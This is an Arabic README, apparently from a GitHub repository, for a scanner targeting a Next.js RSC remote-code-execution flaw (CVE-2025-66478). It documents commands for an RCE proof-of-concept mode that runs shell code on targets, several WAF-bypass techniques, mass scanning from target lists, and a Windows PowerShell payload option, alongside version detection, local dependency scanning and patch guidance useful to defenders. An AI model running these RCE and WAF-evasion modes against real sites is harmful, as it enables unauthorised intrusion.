
ماسح ضوئي متعدد الأنماط للثغرات في Next.js RCE (CVE-2025-66478/55182) مع كشف آمن للقنوات الجانبية، وإثبات المفهوم لـ RCE، وتقنيات تجاوز WAF، وفحص تبعيات المشروع المحلي.
الماسح الأكثر شمولاً لثغرة تنفيذ الأكواد عن بُعد في Next.js RSC
╔════════════════════════════════════════════════════════════════════════╗
║ ____ _ ___ ____ _ _ _ ║
║ | _ \ ___ __ _ ___| |_|__ \/ ___|| |__ ___| | | ║
║ | |_) / _ \/ _` |/ __| __| / /\___ \| '_ \ / _ \ | | ║
║ | _ < __/ (_| | (__| |_ / /_ ___) | | | | __/ | | ║
║ |_| \_\___|\__,_|\___|\__|____|____/|_| |_|\___|_|_| ║
║ ║
║ React2Shell Ultimate CVE-2025-66478 Scanner v1.0.0 ║
║ Next.js RSC Remote Code Execution Vulnerability ║
╠════════════════════════════════════════════════════════════════════════╣
║ ║
║ ║
╠════════════════════════════════════════════════════════════════════════╣
║ Modes: --safe (side-channel) | --rce (PoC) | --version | --local ║
║ WAF Bypass: --waf-bypass | --vercel-bypass | --unicode ║
╚════════════════════════════════════════════════════════════════════════╝
CVE-2025-66478 (المعروف أيضًا بـ CVE-2025-55182) هي ثغرة حرجة (CVSS 10.0) لتنفيذ الأكواد عن بُعد تؤثر على تطبيقات Next.js التي تستخدم مكونات الخادم React (RSC).
تجمع هذه الأداة أفضل الميزات من عدة ماسحات لـ CVE-2025-66478:
# Clone the repository
git clone https://github.com/hackersatyamrastogi/react2shell-ultimate.git
cd react2shell-ultimate
# Install dependencies
pip install -r requirements.txt
# Or install manually
pip install requests tqdm
# Version detection only (fastest, no exploitation)
python3 react2shell-ultimate.py -u https://target.com --version
# Safe side-channel detection (no code execution)
python3 react2shell-ultimate.py -u https://target.com --safe
# RCE proof-of-concept (executes harmless calculation: 41*271=11111)
python3 react2shell-ultimate.py -u https://target.com --rce
# Comprehensive scan with all bypass attempts
python3 react2shell-ultimate.py -u https://target.com --comprehensive
# Scan multiple targets from file
python3 react2shell-ultimate.py -l targets.txt -t 20 -o results.json
# Quiet mode - only show vulnerable hosts
python3 react2shell-ultimate.py -l targets.txt -q
# JSON output to stdout
python3 react2shell-ultimate.py -l targets.txt --json
# Scan current directory
python3 react2shell-ultimate.py --local .
# Scan specific project path
python3 react2shell-ultimate.py --local /path/to/nextjs/projects
# Junk data bypass (adds 128KB padding to evade content inspection)
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass
# Custom junk data size
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass --waf-bypass-size 256
# Unicode encoding bypass
python3 react2shell-ultimate.py -u https://target.com --rce --unicode
# Vercel-specific WAF bypass
python3 react2shell-ultimate.py -u https://target.com --rce --vercel-bypass
# Windows target (PowerShell payload)
python3 react2shell-ultimate.py -u https://target.com --rce --windows
# With proxy
python3 react2shell-ultimate.py -u https://target.com --rce --proxy http://127.0.0.1:8080
# Custom headers
python3 react2shell-ultimate.py -u https://target.com --rce -H "Authorization: Bearer token"
# Increased timeout
python3 react2shell-ultimate.py -u https://target.com --rce --timeout 30
# Verbose output
python3 react2shell-ultimate.py -u https://target.com --comprehensive -v
--safe)يُحفّز نمط استجابة خطأ محدد دون تنفيذ أي كود. يُحدد تطبيقات RSC القابلة للاختراق من خلال سلوك معالجة الأخطاء.
--rce)يُنفّذ عملية حسابية رياضية غير ضارة (echo $((41*271)) = 11111) لتأكيد قدرة تنفيذ الأكواد عن بُعد. تظهر النتيجة في الرأس X-Action-Redirect.
--version)X-Powered-By لإصدار Next.jsVary لمؤشرات RSCtext/x-component--local)يمسح أدلة المشروع بحثًا عن:
package.json - إعلان الاعتمادية المباشرةpackage-lock.json - ملف قفل NPMyarn.lock - ملف قفل Yarnpnpm-lock.yaml - ملف قفل PNPMbun.lockb - ملف قفل Bun[VULNERABLE] https://target.com
Version: 15.3.1 | Status: 200 | Method: rce_poc
WAF Bypass: SUCCESS
[NOT VULNERABLE] https://safe-target.com
Version: 15.5.7 | Status: 200 | Method: http_headers
[WAF BLOCKED] https://protected.com
Version: 15.2.0 | Status: 403 | Method: rce_poc
WAF Detected: Exploit blocked
{
"tool": "React2Shell Ultimate CVE-2025-66478 Scanner",
"version": "1.0.0",
"cve_ids": ["CVE-2025-55182", "CVE-2025-66478"],
"scan_time": "2025-12-06T12:00:00Z",
"total_results": 1,
"results": [
{
"url": "https://target.com",
"vulnerable": true,
"version": "15.3.1",
"status_code": 200,
"detection_method": "rce_poc",
"waf_detected": false,
"waf_bypassed": false
}
]
}
إذا وجدت تطبيقات قابلة للاختراق:
قم بالترقية فورًا إلى الإصدارات المصححة:
التخفيفات المؤقتة:
راقب محاولات الاستغلال في السجلات
تم توفير هذه الأداة لاختبار الأمان المصرح به ولأغراض تعليمية فقط.
رخصة MIT - انظر ملف LICENSE للتفاصيل.
⭐ قم بتقييم هذا المستودع بنجمة إذا وجدته مفيدًا! ⭐
| نطاق الإصدار | الحالة |
|---|
| Next.js 15.0.0 - 15.0.4 | ⚠️ قابل للاختراق |
| Next.js 15.1.0 - 15.1.8 | ⚠️ قابل للاختراق |
| Next.js 15.2.0 - 15.2.5 | ⚠️ قابل للاختراق |
| Next.js 15.3.0 - 15.3.5 | ⚠️ قابل للاختراق |
| Next.js 15.4.0 - 15.4.7 | ⚠️ قابل للاختراق |
| Next.js 15.5.0 - 15.5.6 | ⚠️ قابل للاختراق |
| Next.js 16.0.0 - 16.0.6 | ⚠️ قابل للاختراق |
| Next.js 14.3.0-canary.77+ | ⚠️ قابل للاختراق |
| Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7+ | ✅ مصحح |
| Next.js 16.0.7+ | ✅ مصحح |
| Next.js 13.x, 14.x ثابت | ✅ غير متأثر |
| الميزة | الوصف |
|---|
| 🔍 كشف متعدد الأوضاع | القناة الجانبية الآمنة، إثبات المفهوم RCE، الإصدار فقط، المسح المحلي |
| 🛡️ تقنيات تجاوز WAF | حشو البيانات غير المرغوب فيها، ترميز Unicode، الالتفاف الخاص بـ Vercel |
| 📁 مسح المشروع المحلي | مسح package.json وملفات القفل للاعتماديات القابلة للاختراق |
| ⚡ أداء عالٍ | مسح متعدد الخيوط مع قابلية تكييف التوافق |
| 📊 تنسيقات مخرجات متعددة | كونسول، JSON، تصدير ملف |
| 🎯 كشف دقيق للإصدار | رؤوس HTTP، بصمة RSC، الوعي بالإصدارات المصححة |
| الخيار | الوصف |
|---|
-u, --url | URL واحد للمسح |
-l, --list | ملف يحتوي على روابط URL (واحد في كل سطر) |
--local | مسح دليل المشروع المحلي |
--safe | الكشف بالقناة الجانبية الآمن (بدون RCE) |
--rce | وضع إثبات المفهوم RCE |
--version | كشف الإصدار فقط |
--comprehensive | مسح كامل بجميع التقنيات |
--waf-bypass | إضافة بيانات غير مرغوب فيها لتجاوز WAF |
--waf-bypass-size | حجم البيانات غير المرغوب فيها بالكيلوبايت (الافتراضي: 128) |
--unicode | ترميز Unicode لتجاوز WAF |
--vercel-bypass | الالتفاف الخاص بـ Vercel لتجاوز WAF |
--windows | استخدام حمولة PowerShell لنظام Windows |
-t, --threads | الخيوط المتزامنة (الافتراضي: 10) |
--timeout | مهلة الطلب بالثواني (الافتراضي: 10) |
-k, --insecure | تعطيل التحقق من SSL |
--proxy | رابط الوكيل (http://host:port) |
-H, --header | رأس مخصص (قابل للتكرار) |
-o, --output | ملف المخرجات (JSON) |
--all-results | حفظ جميع النتائج، وليس فقط القابلة للاختراق |
-v, --verbose | إخراج مفصل |
-q, --quiet | عرض المضيفات القابلة للاختراق فقط |
--json | إخراج JSON إلى stdout |
--no-color | تعطيل الإخراج الملون |